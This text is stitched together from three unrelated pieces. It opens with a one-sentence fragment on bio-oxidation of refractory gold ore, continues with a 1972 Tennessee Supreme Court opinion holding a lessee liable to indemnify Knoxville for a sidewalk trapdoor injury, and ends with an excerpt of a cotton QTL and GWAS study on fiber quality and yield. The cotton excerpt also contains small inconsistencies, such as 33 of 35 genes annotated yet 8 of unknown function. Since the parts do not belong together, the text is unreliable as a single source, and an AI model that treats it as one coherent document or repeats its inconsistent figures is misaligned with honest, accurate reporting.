There is thus a need for a pre-treatment bio-oxidation process for refractory gold ore which would allow significantly smaller particle distributions to be utilized, thereby greatly improving overall gold recovery and shortening bio-oxidation retention times. Ideally, the process would utilize a free-drained system, and thus would avoid the cost and complexity of agitated tank bio-oxidation. |
488 S.W.2d 50 (1972)
The CONTINENTAL INSURANCE COMPANY et al., Appellants,
v.
CITY OF KNOXVILLE, Appellee.
Supreme Court of Tennessee.
November 20, 1972.
*51 Jerry A. Farmer, Knoxville, for appellants; Poore, Cox, Baker, McAuley, Ray & Byrne, Knoxville, of counsel.
Norman B. Jackson, Knoxville, for appellee; Marsh, Thompson & Jackson, Knoxville, of counsel.
OPINION
CHATTIN, Justice.
This appeal is from a decree of the Chancellor awarding indemnity against appellants in favor of the appellee.
The facts were stipulated. On March 22, 1967, Mrs. Martha B. Rose sustained personal injuries when she tripped and fell on a metal trapdoor located in the sidewalk at 304 Wall Avenue in the City of Knoxville. The trapdoor constituted a part of the sidewalk and protruded above it.
The trapdoor provided access to the basement of the building located at 304 Wall Avenue, and had been installed for the exclusive benefit of the building. At the time of the accident the building was under a lease to Leasing Company No. 1, Inc., from the owners of same.
Mrs. Rose and her husband filed suit in Circuit Court against the City and Leasing in November 1967. For the consideration of payment to them of $4,250.00, they gave Leasing a covenant not to sue and dismissed the suit as to Leasing.
As a result of the trial, Mrs. Rose was awarded damages in the amount of $10,000.00 and Mr. Rose the sum of $5,000.00. The trial judge suggested a remittitur of $2,500.00 in each case, which was accepted.
Thereafter, the City made a motion for a reduction of judgment pursuant to the provisions of T.C.A. 23-3105, a part of the Uniform Contribution Among Tort-Feasors Act.
The motion sought a credit of the $4,250.00 paid by Leasing against the judgment against the City. The trial judge overruled the motion on the ground it came too late since it was made after the motion for a new trial.
The parties appealed. The Court of Appeals restored the amount of Mrs. Rose's remittitur and then deducted the $4,250.00 paid for the covenant not to sue from the judgments by sustaining the City's assignment of error the trial judge erred in refusing to grant its motion for a reduction in judgment.
One-fifth of the $4,250.00 was deducted from Mr. Rose's judgment of $2,500.00 and four-fifths from Mrs. Rose's judgment of $10,000.00.
It was stipulated that Leasing surrendered its charter on February 15, 1968; and that pursuant to T.C.A. 48-516 trustees were appointed to hold the assets of the corporation for the benefit of its creditors and stockholders.
As a result of the judgments recovered by Mr. and Mrs. Rose against the City, this suit was instituted against Leasing, the named trustees and Continental Insurance Company, the public liability insurance carrier for Leasing at the time of the accident, for indemnity or in the alternative contribution.
The Chancellor found the City entitled to indemnity. Appellants have perfected an appeal and assigned five alleged errors.
We will consider the first two assignments jointly. The first assignment insists the Chancellor erred as a matter of law in overruling Continental's demurrer on the ground no cause of action had been stated against it.
The second assignment contends the Chancellor erred as a matter of law in overruling Leasing's demurrer on the ground its corporate existence was dissolved and liquidated on February 15, 1968, and it was not subject to suit. We disagree. The pertinent statute at the time of *52 the dissolution was T.C.A. Section 48-514, which provides:
"The filing of said certificate in the office of the secretary of state shall operate as a surrender to the state by the corporation of all its corporate franchises and privileges, and shall have effect to annul the charter of said corporation, and its right to continue the corporate business shall thereupon cease and determine; provided, however, that the rights of the creditors of said corporation to the satisfaction of their debts out of the corporate assets shall not be prejudiced thereby; and provided, also, that the corporation shall continue to exist for the purpose of winding up its affairs so long as may be necessary for that purpose, but no longer, or otherwise."
This statute operates to prolong the life of the corporation until its corporate affairs are completed. Leasing existed for the purpose of this suit, notwithstanding its charter had been surrendered. The statute makes it clear a corporation may not avoid its obligations by simply dissolving.
Although trustees were appointed to wind up the corporate affairs, they act in the place and stead of the board of directors and officers of the corporation, it was not a duplication of parties. The corporation was in existence for the purpose of liquidating its affairs.
The second assignment of error is overruled.
It is argued in support of the first assignment by Continental that only a party to the insurance policy can institute an action on it. Therefore, it is argued this suit is a direct action by the City for the alleged failure of Continental to perform its obligation under the policy, although the City was not a party or a third party beneficiary thereunder. We must disagree with this argument.
This suit is not a direct action against Continental to perform its obligation under its policy. The parties stipulated and the Chancellor found the insurance policy was an asset of Leasing. The action is by a party secondarily liable to recover indemnity from the assets of the party (Leasing) primarily liable for the same obligation. The assignment is overruled.
We will consider the third and fifth assignments together. The third assignment insists the Chancellor erred, as a matter of law, in overruling the demurrers of each appellant on the ground the City is not entitled to recover indemnity after having accepted a reduction of judgment pursuant to T.C.A. Section 23-3105 in the original suits of Mr. and Mrs. Rose.
The fifth assignment contends the Chancellor erred, as a matter of law, in finding the City was not estopped from seeking indemnity in this action because of its acceptance and reliance upon the Uniform Contribution Among Tort-Feasors Act in the original suits.
As hereinabove stated, the Court of Appeals allowed the City's motion for a reduction of the judgments in the original suits.
Appellants argue since there was a reduction of the judgments, the City should be estopped from recovering indemnity.
We agree with the Chancellor there is no evidence in the record to indicate appellants relied to their detriment on the action taken by the City; and that a good argument exists that the City was required, in order to mitigate damages, to seek reduction of the judgments in the amount paid by Leasing for the covenant not to sue.
Had the City paid the entire judgment of $12,500.00 and obtained indemnity of that amount, the Roses would have been the beneficiaries of a windfall of $4,250.00 which would be unjust.
*53 Since the City obtained only partial relief because of the reduction of the judgments, there is no reason to prevent it from recovering complete relief by way of indemnity.
Secondly, the Uniform Contribution Among Tort-Feasors Act provides in part:
"This chapter does not impair any right of indemnity under existing law." T.C.A. Section 23-3102(f) * * *
"When a release or covenant not to sue or not to enforce judgment is given in good faith to one (1) or two (2) or more persons liable in tort for the same injury or the same wrongful death;
* * * * * *
(b) It discharges the tort-feasor to whom it is given from all liability for contribution to any other tort-feasor." T.C.A. Section 23-3105.
The foregoing makes it clear the relief afforded under the Uniform Contribution Among Tort-Feasors Act does not estop the party afforded the relief from later enforcing a right of indemnity.
Both assignments are overruled.
Appellants' fourth assignment of error contends the Chancellor erred, as a matter of law, in finding the City is entitled to indemnity under the record.
In Southern Coal and Coke Co. v. Beech Grove Mining Co., 53 Tenn. App. 108, 381 S.W.2d 299 (1963), the Court said:
"* * * a person who, in whole or in part, has discharged a duty which is owed by him but which as between himself and another should have been discharged by the other is entitled to indemnity from the other, unless the payor is barred by the wrongful nature of his conduct."
While the courts of this State have generally made a determination as to whether or not the one seeking indemnity was guilty of active negligence, the rule seems to be that only one guilty of passive rather than active negligence can recover indemnity. Cohen v. Noel, 165 Tenn. 600, 56 S.W.2d 744 (1933); Graham v. Miller, 182 Tenn. 434, 187 S.W.2d 622 (1944).
The Chancellor took note of this rule in his memorandum opinion, but properly went beyond it due to the particular circumstances of this case. He said:
"I think that there was a distinction of active and passive negligence here, if that is necessary for the quantum to give the city the right to recover under the indemnity. But I would hold, regardless of the active and passive question, that inasmuch as the trapdoor and the manner in which it caused the injury was for the exclusive benefit of the landowner, that as between the two that should put the burden of indemnifying the city upon the landowners."
We think legal justification, as well as logic, exists for concurring with the Chancellor and that the primary responsibility should not be placed upon the City under the particular facts of this case.
In determining the primary responsibility in this case, the following ordinances of the City are pertinent:
"It shall be the duty of the abutting property owner or agent of any house or property to maintain or repair sidewalks or driveways adjoining the property." Knoxville City Ordinance, Section 36-6.
"All cellar doors upon any of the streets, parks, or squares of the city shall be of strong material, and be uniform and flush with the pavement or sidewalk." Knoxville City Ordinance, Section 36-66.
The City contends the ordinances are sufficient to effectively impose the primary responsibility for the maintenance of the *54 trapdoor on Leasing. However, the appellants cite numerous cases which state the primary responsibility for safe streets rests with the municipality and this duty cannot be shifted by ordinance to the abutting landowners.
Harbin v. Smith, 168 Tenn. 112, 76 S.W.2d 107 (1934); Hale v. City of Knoxville, 189 Tenn. 491, 226 S.W.2d 265 (1949); City of Knoxville v. Ferguson, 34 Tenn. App. 585, 241 S.W.2d 612 (1951); City of Winchester v. Finchum, 201 Tenn. 604, 301 S.W.2d 341 (1957).
We are of the opinion all these cases are inapplicable under the facts of this case.
Since the artificial structure, a trapdoor, was placed in the sidewalk exclusively for the benefit of the abutting landowner and not the City, it is only just that the City be reimbursed. This is not an attempt to burden the abutting landowner with the responsibility of general repairs; the abutting landowner's burden here is only for that which exists exclusively for his benefit, the trapdoor.
This is in accordance with the general rule as stated in 39 Am.Jur.2d, Highways, Streets, and Bridges, Section 383, page 777:
"Where an adjoining property owner, for the exclusive benefit of his own property, places in a public street or sidewalk some artificial structure and the public authority is compelled to pay compensation in damages to a member of the public injured thereby, the public authority may recover the amount so paid from the property owner by way of indemnity."
Accordingly, we overrule the fourth assignment of error.
The decree of the Chancellor is affirmed. Appellants will pay the costs.
DYER, C.J., HUMPHREYS and McCANLESS, JJ., and WILSON, Special Judge, concur.
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It is of great importance to identify quantitative trait loci (QTL) controlling fiber quality traits and yield components for future marker-assisted selection (MAS) and candidate gene function identifications. In this study, two kinds of traits in 231 F6:8 recombinant inbred lines (RILs), derived from an intraspecific cross between Xinluzao24, a cultivar with elite fiber quality, and Lumianyan28, a cultivar with wide adaptability and high yield potential, were measured in nine environments. This RIL population was genotyped by 122 SSR and 4729 SNP markers, which were also used to construct the genetic map. The map covered 2477.99 cM of hirsutum genome, with an average marker interval of 0.51 cM between adjacent markers. As a result, a total of 134 QTLs for fiber quality traits and 122 QTLs for yield components were detected, with 2.18–24.45 and 1.68–28.27% proportions of the phenotypic variance explained by each QTL, respectively. Among these QTLs, 57 were detected in at least two environments, named stable QTLs. A total of 209 and 139 quantitative trait nucleotides (QTNs) were associated with fiber quality traits and yield components by four multilocus genome-wide association studies methods, respectively. Among these QTNs, 74 were detected by at least two algorithms or in two environments. The candidate genes harbored by 57 stable QTLs were compared with the ones associated with QTN, and 35 common candidate genes were found. Among these common candidate genes, four were possibly “pleiotropic.” This study provided important information for MAS and candidate gene functional studies.
Introduction
Cotton is an important cash crop that provides major natural fiber supply for textile industry and human daily life. Four species in Gossypium, namely G. herbaceum (A1), G. arboreum (A2), G. hirsutum (AD1), and G. barbadense (AD2), are cultivated ones. G. hirsutum (2n = 4x = 52, genome size: 2.5 Gb) (Li et al., 2014, 2015; Wendel and Grover, 2015; Zhang et al., 2015), also called upland cotton, has a high yield potential, whereas fair fiber quality attributes (Cai et al., 2014), thus making it most widely cultivated and utilized worldwide, approximately accounting for 95% of global cotton fiber production (Chen et al., 2007). Along with the progress of technologies in textile industry and improvement of human living standard, the demand for cotton fiber supply not only increases in quantity but also is required in a diverse combination of various qualities such as high strength, natural color, various lengths, and fineness. Fiber quality traits and yield components are quantitative and controlled by multiple genes (Said et al., 2013), yet most of which were negatively correlated with each other (Shen et al., 2007; Wang H. et al., 2015). Therefore, it is difficult to improve all these traits simultaneously by traditional breeding programs, even after time-consuming and laborious efforts were put (Shen et al., 2005; Lacape et al., 2009; Jamshed et al., 2016; Zhang et al., 2016). The rapid development of applied genome research provides an effective tool for improving plant breeding efficiency, a typical example of which is the marker-assisted selection (MAS) and genome selection through the molecular markers closely linked to target genes or quantitative trait loci (QTLs).
Materials and Methods
Plant Materials
An RIL population of 231 lines was developed from a cross between two homozygous upland cotton cultivars, Lumianyan28 (LMY28), a commercial transgenic cultivar with high yield potential and wide adaptability developed by the Cotton Research Center of Shandong Academy of Agricultural Sciences as a maternal line, and Xinluzao24 (XLZ24), a high fiber quality upland cotton cultivar with long-staple developed by XinJiang KangDi company as a paternal line.
The RIL development was briefed as follows: the cross between LMY28 and XLZ24 was made in the summer growing season in 2008 in Anyang, Henan Province. F1 were planted and self-pollinated in the winter growing season in 2008 in Hainan Province. In the spring of 2009, 238 F2 plants were grown and self-pollinated, and F2:3 seeds were harvested in Anyang (Kong et al., 2011). Of the 238 F2:3 lines, 231 were self-pollinated in each generation until F2:6. Then single plant selection was made from each of the 231 F2:6 lines to form the F6:7 population. The F6:7 population was planted in plant rows and self-pollinated to construct the F6:8 RIL population. All the generations beyond F6:8 are regarded as F6:8 for convenience of analysis. The target traits of the F6:8 RIL population were evaluated in Henan (Anyang, 2013, 2014, 2015, and 2016, designated as 13AY, 14AY, 15AY, and 16AY, respectively), Shandong (LinQing, 2013 and 2014, designated as 13LQ and 14LQ, respectively), Hebei (Quzhou 2013, designated as 13QZ), and Xinjiang (Kuerle 2014 and Alaer 2015, designated as 14KEL and 15ALE, respectively), and a randomized complete block design with two replications was adopted in all nine environmental evaluations. A single-row plot with 5-m row length, 0.8-m row spacing, and 0.25-m plant spacing was adopted in 13AY, 13LQ, 13QZ, 14AY, 14LQ, 15AY, and 16AY, whereas a two-narrow-row plot with 3-m row length, 0.66/0.10-m alternating row spacing, and 0.12-m plant spacing were adopted in 14KEL and 15ALE.
One-way analysis of variance (ANOVA) between parents and the descriptive statistics for the RIL population was conducted using Microsoft Excel 2016, and correlation analysis was performed using SPSS 20.0 (SPSS, Chicago, IL, United States). Integrated ANOVA across nine environments along with the heritability of all the traits was conducted using ANOVA function in the QTL IciMapping software.
DNA Extraction and Genotyping
Genomic DNA was extracted from fresh leaves of parents and 231 RILs with a modified cetyltrimethyl ammonium bromide (CTAB) method (Song et al., 1998). The DNA was used both for SSR screening and CottonSNP80K array hybridization.
A total of 9668 pairs of SSR primer pool, which contained a variety of sources including NAU, BNL, DPL, CGR, PGML, SWU, and CCRI, were used to screen the polymorphisms between parents. The primer information was also available at the CottonGen Database1. PCR amplification and product detection were conducted according to the procedures described by Zhang et al. (2005). The polymorphic primers between the parents were used to genotype the population, and the SSR markers that were codominant and had a unique physical location in the reference genome were used to construct the linkage map.
The cottonSNP80K array, which contained 77,774 SNPs (Cai et al., 2017), was used to genotype the parents and the 231 RILs. The genotyping was conducted according to the Illumina suggestions (Illumina Inc., San Diego, CA, United States) (Cai et al., 2017). After genotyping, the raw data were filtered based on the following criteria (Zhang Z. et al., 2017): first, any or both of the SNP loci of parents were missing (69,395 SNPs were remained after filtering); second, the loci had no polymorphism between parents (15,128 loci were remained); third, the loci of any of the parent were heterozygous (7480 SNPs were remained); forth, the missing rate of SNPs in the population was more than 40% (Hulse-Kemp et al., 2015) (7479 loci were remained); and finally, the segregation distortion of SNPs reached criteria of P < 0.001 (5202 loci were remained). Subsequently, the remaining SNP markers were applied to the genetic map construction after converting into the “ABH” data format as SSR.
Genetic Map Construction
The remaining SSR and SNP markers were divided into the 26 chromosomes based on their position on the physical map of the upland cotton (TM-1) genome database (Zhang et al., 2015). Then, the genetic linkage map was constructed using the HighMap software with multiple sorting and error-correcting functions (Liu et al., 2014). Map distances were estimated using Kosambi’s mapping function (Kosambi, 1943).
The significance of segregation distortion markers (SDMs; P < 0.05) was detected using the chi-square test. The regions containing at least three consecutive SDMs were defined as segregation distortion regions (SDRs) (Zhang et al., 2016). The distribution of SDMs and SDRs, and the size of SDRs on the map were analyzed.
QTL Mapping and Genome-Wide Association Studies
The Windows QTL Cartographer 2.5 software (Wang et al., 2012) was employed using the CIM method with a mapping step of 1.0 cM and five control markers (Zeng, 1994) for QTL identification. The threshold value of the logarithm of odds (LOD) was calculated by 1000 permutations at the 0.05 significance level. QTLs, identified in different environments and had fully or partially overlapping confidence intervals, were regarded as the same QTL. The QTL detected in at least two environments was regarded as a stable one. Nomenclature of QTL was designated following Sun’s description (Sun F.D. et al., 2012). MapChart 2.3 (Voorrips, 2002) was used to graphically represent the genetic map and QTL.
Quantitative trait nucleotides for the target traits were identified by four multilocus GWAS methods. The first one is mrMLM (Wang et al., 2016), in which calculate Kinship (K) matrix model was used, with critical P-value of 0.01, search radius of the candidate gene of 20 kb, and critical LOD score for significant QTN of 3. The second one is FASTmrEMMA (Wen et al., 2017), with restricted maximum likelihood, in which calculate K matrix model was used, critical P-value of 0.005, and critical LOD score for significant QTN of 3. The third one is ISIS EM-BLASSO (Tamba et al., 2017), with critical P-value of 0.01. The fourth one is pLARmEB (Zhang J. et al., 2017); each chromosome selected 50 potential associations at a critical LOD score of 2 with variable selection through LAR.
QTL Congruency Comparison With Previous Studies
Previous QTLs for the target traits were detected and downloaded in the CottonQTLdb database2 (Said et al., 2015). The QTLs sharing similar genetic positions (spacing distance < 15 cM) were regarded as common or same QTL. The physical positions of a QTL were identified in the CottonGen database3. When a QTL in the current study shared the same physical region as the previous QTL, it was regarded as a repeated identification of the previous QTL; otherwise, the QTL in the current study was regarded as a new one.
The Candidate Genes Identification
Candidate genes harbored in the stable QTLs were searched and identified based on their confidence intervals in the following steps: The markers including the closest flanking ones in the confidence interval of a QTL were identified. The physical interval of that QTL was determined based on the physical position of its markers in the upland cotton (TM-1) genome4 (Zhang et al., 2015). All the genes in the physical interval were identified as candidate genes.
Candidate genes associated with QTNs in the multilocus GWAS analysis were confirmed based on the location of QTNs in the upland cotton (TM-1) reference genome (Zhang et al., 2015). The gene in which the QTL was located was considered as the candidate gene. But when the physical location of a QTN was between two genes, both of the genes were considered as candidate genes.
Results
Phenotypic Evaluation of the RIL Populations
The one-way ANOVA between parents in nine environments showed that a significant difference for FS at the 0.001 level and no significant differences for the other traits were observed (Table 1). The descriptive statistical analysis showed that all traits in the RIL population performed transgressive segregations, with approximately normal distribution in all the nine environments (Table 1). The integrated ANOVA of the RILs across nine environments also revealed significant variations for all traits among the RILs (Supplementary Table S1).
TABLE 1
TABLE 1. The results of the statistical analysis of the parents and the RIL population.
Most of the traits exhibited medium–high heritability across nine environments (Supplementary Table S2). Correlation analysis showed that significant or very significant positive correlations were observed between the trait pairs of FL–FS, FL–SI, FS–SI, FM–LP, FM–BW, and SI–BW; and significant negative correlations were observed between the pairs of FL–FM, FL–LP, FS–FM, FS–LP, BW–LP, and SI–LP. In addition, FL–BW showed a significant or very significant positive correlation in three environments, whereas no significant correlation was observed in the remaining six environments (Table 2).
Genetic Map Construction
The genetic linkage map totally covered 2477.99 cM of the upland cotton genome with an average adjacent marker interval of 0.51 cM (Figure 1 and Table 3). It contained 4851 markers, including 4729 SNP and 122 SSR loci, with uneven distributions in the At and Dt subgenomes as well as on 26 chromosomes. A total of 3300 markers were mapped in the At subgenome, covering a genetic distance of 1474.63 cM with an average adjacent marker interval of 0.45 cM. On the other hand, a total of 1551 markers were mapped in the Dt subgenome, covering a genetic distance of 1003.36 cM with an average adjacent marker interval of 0.65 cM. At the chromosome level, chr08 contained the maximum number of markers (481 markers), spanning a genetic distance of 142.55 cM with an average adjacent marker interval of 0.32 cM. chr17 contained the minimum number of markers (19 markers), spanning a total genetic distance of 60.60 cM with an average adjacent marker interval of 3.56 cM. Gap analysis revealed that there were 33 gaps (≥10 cM), of which 19 were in the At subgenome with the largest of 22.68 cM on chr07, whereas 14 were in the Dt subgenome with the largest of 42.23 cM on chr17. chr11, chr16, chr19, chr20 and chr24 had no gap larger than 10 cM.
Segregation Distortion
There were a total of 1,563 SDMs (32.22%) (P < 0.05), which were unevenly distributed at both subgenome and chromosome levels (Tables 3 and Supplementary Table S3). One thousand and sixty-one SDMs were found in the At subgenome, whereas 502 in the Dt subgenome. chr08 had the maximum number of SDMs of 237 (15.16% of total SDMs). The SDMs formed 110 SDRs, of which 66 were in the At subgenome whereas 44 in the Dt subgenome. chr05 contained the maximum number of SDRs of 10. There was no SDR in chr03 and chr17.
Collinearity Analysis
The reliability of the genetic map was usually assessed by comparing it with the physical maps of the upland cotton (TM-1) reference genome (Zhang et al., 2015). The results of the collinear analysis are shown in Figure 2. The results revealed an overall good congruency between the linkage map and its physical one, while there also existed some discrepancies between the two on chr03, chr06, chr08, and chr13 in the At subgenome and on chr15, chr16, chr17, chr19, chr22, chr23, and chr26 in the Dt subgenome. The collinearity in subgenomes revealed that the At subgenome showed a better compatibility between the linkage and the physical maps than the Dt subgenome did.
FIGURE 2
FIGURE 2. Collinearity between the genetic map (left) and the physical map (right). At, collinearity of the At subgenome; Dt, collinearity of the Dt subgenome.
QTL Mapping for Fiber Quality Traits and Yield Components
A total of 256 QTLs (Supplementary Table S4), 134 for fiber quality traits, and 122 for yield components, were identified across nine environments using the CIM algorithm, with 1.68–28.27% proportions of the phenotypic variance (PV) explained by each QTL. Fifty-seven stable QTLs (Figure 3 and Supplementary Table S4) were identified in at least two environments, of which 32 were for fiber quality traits and 25 for yield components.
Fiber Length
A total of 36 QTLs for FL were identified on 21 chromosomes except chr02, chr04, chr09, chr10, and chr25, among which 7 were stable (Figure 3 and Supplementary Table S4). In these stable QTLs, qFL-chr17-1 was identified in three environments, and could explain 3.95–5.36% proportions of the observed PV. In its marker interval of TM53503–TM53577, there harbored 88 candidate genes. The stable QTLs, qFL-chr05-1, qFL-chr06-2, qFL-chr11-1, qFL-chr16-1, qFL-chr19-1, and qFL-chr26-1, could explain 12.13–13.83, 6.35–6.62, 5.15–9.41, 5.24–6.23, 4.65–5.07, and 4.56–5.59% proportions of the observed PVs, respectively. In their marker intervals of CICR0262, TM18200–TM18321, TM39956–TM39953, TM66757–NAU3563, TM57055–TM5 7082, and TM77259–TM77261, there harbored 2, 141, 15, 309, 65, and 1 candidate genes, respectively.
Fiber Strength
Forty-six QTLs for FS were identified on 19 chromosomes except chr02, chr03, chr14, chr17, chr18, chr22, and chr23, among which 10 were stable (Figure 3 and Supplementary Table S4). In these stable QTLs, qFS-chr07-2 was identified in all nine environments, and could explain 5.81–19.47% proportions of the observed PV. In its marker interval of DPL0852–DPL0757, eight candidate genes were harbored. qFS-chr16-3 was identified in five environments, and could explain 4.28–6.45% proportions of the observed PV. In its marker interval of SWU2707–DPL0492, 342 candidate genes were harbored. qFS-chr01-2 and qFS-chr20-5 were identified in three environments, and could explain 5.32–8.86 and 4.50–5.90% proportions of the observed PVs, respectively. In their marker intervals of TM379–TM404 and NAU4989–TM73152, 20 and 7 candidate genes, respectively, were harbored. qFS-chr07-1, qFS-chr11-1, qFS-chr11-2, qFS-chr13-1, qFS-chr20-1, and qFS-chr24-1 were identified in two environments, and could explain 5.97–6.21, 4.87–5.59, 5.26–7.21, 5.74–10.69, 2.91–8.18, and 5.11–5.43% proportions of the observed PVs, respectively. In their marker intervals of TM19848–TM19875, TM37826–TM37828, TM37897–TM37935, TM43230–TM43229, TM75088–TM75100, and TM67152–TM67146, 4, 1, 29, 1, 8, and 6 candidate genes, respectively, were harbored.
Fiber Micronaire
Fifty-two QTLs for FM were identified on 21 chromosomes except chr02, chr12, chr17, chr23, and chr26, among which 15 were stable (Figure 3 and Supplementary Table S4). In these stable QTLs, qFM-chr07-1 and qFM-chr13-1 were identified in six environments, and could explain 5.51–24.45 and 4.73–8.88% proportion of the observed PV, respectively. In their marker intervals of DPL0852–DPL0757 and TM43230–TM43241, 8 and 15 candidate genes, respectively, were harbored. qFM-chr01-2 was identified in five environments, and could explain 3.94–6.17% proportions of the observed PVs. In its marker interval, one marker of TM3451 was exclusively contained and two candidate genes were harbored. qFM-chr19-1 and qFM-chr19-2 were identified in four environments, and could explain 4.57–8.54 and 5.19–8.20% proportions of the observed PVs, respectively. In their marker intervals of TM57055–TM57057 and TM56813–TM56753, 4 and 161 candidate genes, respectively, were harbored. qFM-chr14-1, qFM-chr15-1, and qFM-chr24-2 were identified in three environments, and could explain 4.18–6.53, 4.45–5.35, and 4.25–4.69% proportions of the observed PVs, respectively. In their marker intervals of TM50241–TM50231, CGR5709–TM50087, and TM67152–TM67125, 13, 1, and 18 candidate genes, respectively, were harbored. qFM-chr03-1, qFM-chr05-1, qFM-chr10-1, qFM-chr11-4, qFM-chr14-3, qFM-chr15-2, and qFM-chr20-2 were identified in two environments, and could explain 3.89–5.18, 4.13–4.42, 4.66–5.16, 4.22–4.30, 4.52–4.54, 3.75–5.95, and 4.47–5.02% proportions of the observed PVs, respectively. In their marker intervals of TM7008–TM7102, TM10798–TM10805, TM33784–TM33813, TM39510–TM39490, TM52033–TM52031, TM50087–TM50082, and TM75041–TM75030, 125, 6, 100, 8, 1, 5, and 44 candidate genes, respectively, were harbored.
Boll Weight
A total of 53 QTLs for BW were identified on 25 chromosomes except chr15, among which 7 were stable (Figure 3 and Supplementary Table S4). In these stable QTLs, qBW-chr24-1 was identified in three environments, and could explain 4.13–6.99% proportions of the observed PVs. In its marker interval of TM67152–TM67127, 18 candidate genes were harbored. qBW-chr04-2, qBW-chr05-5, qBW-chr06-3, qBW-chr07-4, qBW-chr20-1, and qBW-chr21-4 were identified in two environments, and could explain 3.77–5.74, 4.28–6.42, 3.87–4.07, 7.62–8.08, 5.56–8.12, and 6.05–7.26% proportions of the observed PVs, respectively. In their marker intervals of TM9831–TM9827, TM10953–TM10979, TM14514–TM14509, DPL0852, NAU4989–CICR0002, and TM76018–TM75887, 6, 59, 23, 2, 7, and 119 candidate genes were harbored, respectively.
Lint Percentage
A total of 39 QTLs for LP were identified on 20 chromosomes except chr02, chr12, chr15, chr17, chr23, and chr24, among which nine were stable (Figure 3 and Supplementary Table S4). In these stable QTLs, qLP-chr10-1 was identified in five environments, and could explain 4.44–8.80% proportions of the observed PVs. In its marker interval of DPL0468–CGR5624, 148 candidate genes were harbored. qLP-chr04-1 was identified in four environments, and could explain 3.81–4.50% proportions of the observed PVs. In its marker interval of TM9862–TM9831, 217 candidate genes were harbored. qLP-chr26-2 was identified in three environments, and could explain 3.98–5.34% proportions of the observed PVs. In its marker interval of TM77259–TM77267, 3 candidate genes were harbored. qLP-chr03-1, qLP-chr06-2, qLP-chr08-1, qLP-chr11-1, qLP-chr22-1, and qLP-chr25-3 were identified in two environments, and could explain 2.69–2.83, 3.76–6.32, 4.43–6.02, 3.91–4.75, 3.61–4.26, and 4.77–7.64% proportions of the observed PVs, respectively. In their marker intervals of TM6006–TM6010, TM18161–TM18322, TM29470–TM29463, TM39443–TM39427, TM55461–TM55466, and TM63143–TM63142, 1, 141, 26, 12, 16, and 1 candidate genes, respectively, were harbored.
Seed Index
A total of 30 QTLs for SI were identified on 16 chromosomes except chr01, chr14, chr15, chr18, chr21, chr22, chr23, chr24, chr25, and chr26, among which nine were stable (Figure 3 and Supplementary Table S4). In these stable QTLs, qSI-chr07-2 was identified in five environments, which could explain 4.83–28.27% of the observed PVs. In its confidence interval of DPL0852–DPL0757, there harbored 8 candidate genes. qSI-chr16-1 was identified in four environments, which could explain 4.24–6.91% of the observed PVs. In its confidence interval of TM66717–TM66737, there harbored 19 candidate genes. qSI-chr10-1, qSI-chr10-2, and qSI-chr11-2 were identified in three environments, which could explain 6.67–7.83%, 4.28–6.50%, and 4.35–6.01% of the observed PVs, respectively. In their confidence intervals of DPL0468, TM36374–TM36487, and TM37826–TM37828, there harbored 2, 87, and 1 candidate genes, respectively. qSI-chr04-2, qSI-chr07-1, qSI-chr11-3, and qSI-chr13-2 were identified in two environments, which could explain 4.57–5.23%, 5.59–8.50%, 5.52–5.66%, and 3.37–5.29% of the observed PVs, respectively. In their confidence intervals of TM9702–TM9697, TM19691–TM19898, TM37970–TM39953, and TM43247–TM43263, there harbored 8, 39, 73, and 11 candidate genes, respectively.
GWAS for Fiber Quality Traits and Yield Components
A total of 209 and 139 QTNs were identified by four multilocus GWAS methods to be associated with fiber quality and yield component traits, respectively, in the current study (Supplementary Table S6). Among these QTNs, 74 were simultaneously found by at least two algorithms or in two environments (Supplementary Table S6), each with 0.15–47.17% proportions of the observed PVs explained, and a total of 104 candidate genes were mined.
Fiber Quality Traits
A total of 68, 65, and 76 QTNs were found to be associated with FL, FS, and FM, respectively, and the corresponding 110, 99, and 126 candidate genes were identified. In these QTNs, 11 for FL, 17 for FS, and 22 for FM were simultaneously associated by at least two algorithms or in two environments, and each could explain 0.15–29.10, 1.43–47.17, and 2.54–41.39% proportions of the observed PVs, respectively.
Yield Components
A total of 51, 50, and 38 QTNs were found to be associated with BW, LP, and SI, respectively, and the corresponding 82, 83, and 65 candidate genes were identified. In these QTNs, 9 for BW, 5 for LP, and 10 for SI were simultaneously associated by at least two algorithms or in two environments, and each could explain 3.41–28.76, 3.00–22.49, and 1.21–38.73% proportions of the observed PVs, respectively.
Candidate Genes Annotation
A total of 2133 candidate genes, among which 621 were for FL, 426 for FS, 510 for FM, 234 for BW, 565 for LP, and 323 for SI, were identified from stable QTL (Supplementary Table S5), and 506 candidate genes, among which 110 for FL, 99 for FS, 126 for FM, 82 for BW, 83 for LP, and 65 for SI, were identified from GWAS (Supplementary Table S6). Annotation analysis of the 35 common genes from these two candidate gene pools revealed that 33 of them had annotation information, whereas 8 had unknown function (Supplementary Table S7). In the gene ontology (GO) analysis of the candidate gene for fiber quality (Supplementary Table S8), 24, 17, and 29 candidate genes were identified in the cellular component, molecular function, and biological process category, respectively. In the cellular component category, three main brackets of cell (six genes), cell part (six genes), and organelle (five genes) were enriched, whereas in the molecular function category, two main brackets of binding (eight genes) and catalytic activity (six genes), and in biological process category, four main brackets of metabolic process (seven genes), single-organism process (seven genes), cellular process (five genes), and response to stimulus (five genes) were, respectively, enriched (Figure 4A). In gene ontology (GO) analysis of the candidate gene for yield components (Supplementary Table S10), 19, 13, and 27 candidate genes were identified in the cellular component, molecular function, and biological process category, respectively. In the cellular component category, three main brackets of cell (five genes), organelle (five genes), and cell part (five genes) were enriched, whereas in the molecular function category, two main brackets of binding (six genes) and catalytic activity (five genes), and in the biological process category, four main brackets of single-organism process (seven genes), metabolic process (five genes), cellular process (five genes), and localization (four genes) were, respectively, enriched (Figure 4B). Kyoto encyclopedia of genes and genomes (KEGG) analysis indicated that six candidate genes for fiber quality were involved in 10 pathways and two candidate genes for yield were involved in six pathways (Supplementary Tables S9, S11).
The reliability of the genetic map is also estimated by gap size, collinearity, and segregation distortion analyses (Figure 2 and Table 3). Although the development of SNP markers was based on the CottonSNP80K array, a few chromosomes still had a large gap or uneven distribution of makers (Li et al., 2016; Zhang Z. et al., 2017). Totally, there were 33 gaps larger than 10 cM, of which the largest one was of 42.23 cM on chr17 and there were only 19 markers mapped on it. The result of collinearity between the genetic map and the G. hirsutum (TM-1) reference genome indicated accuracy and quality of the map.
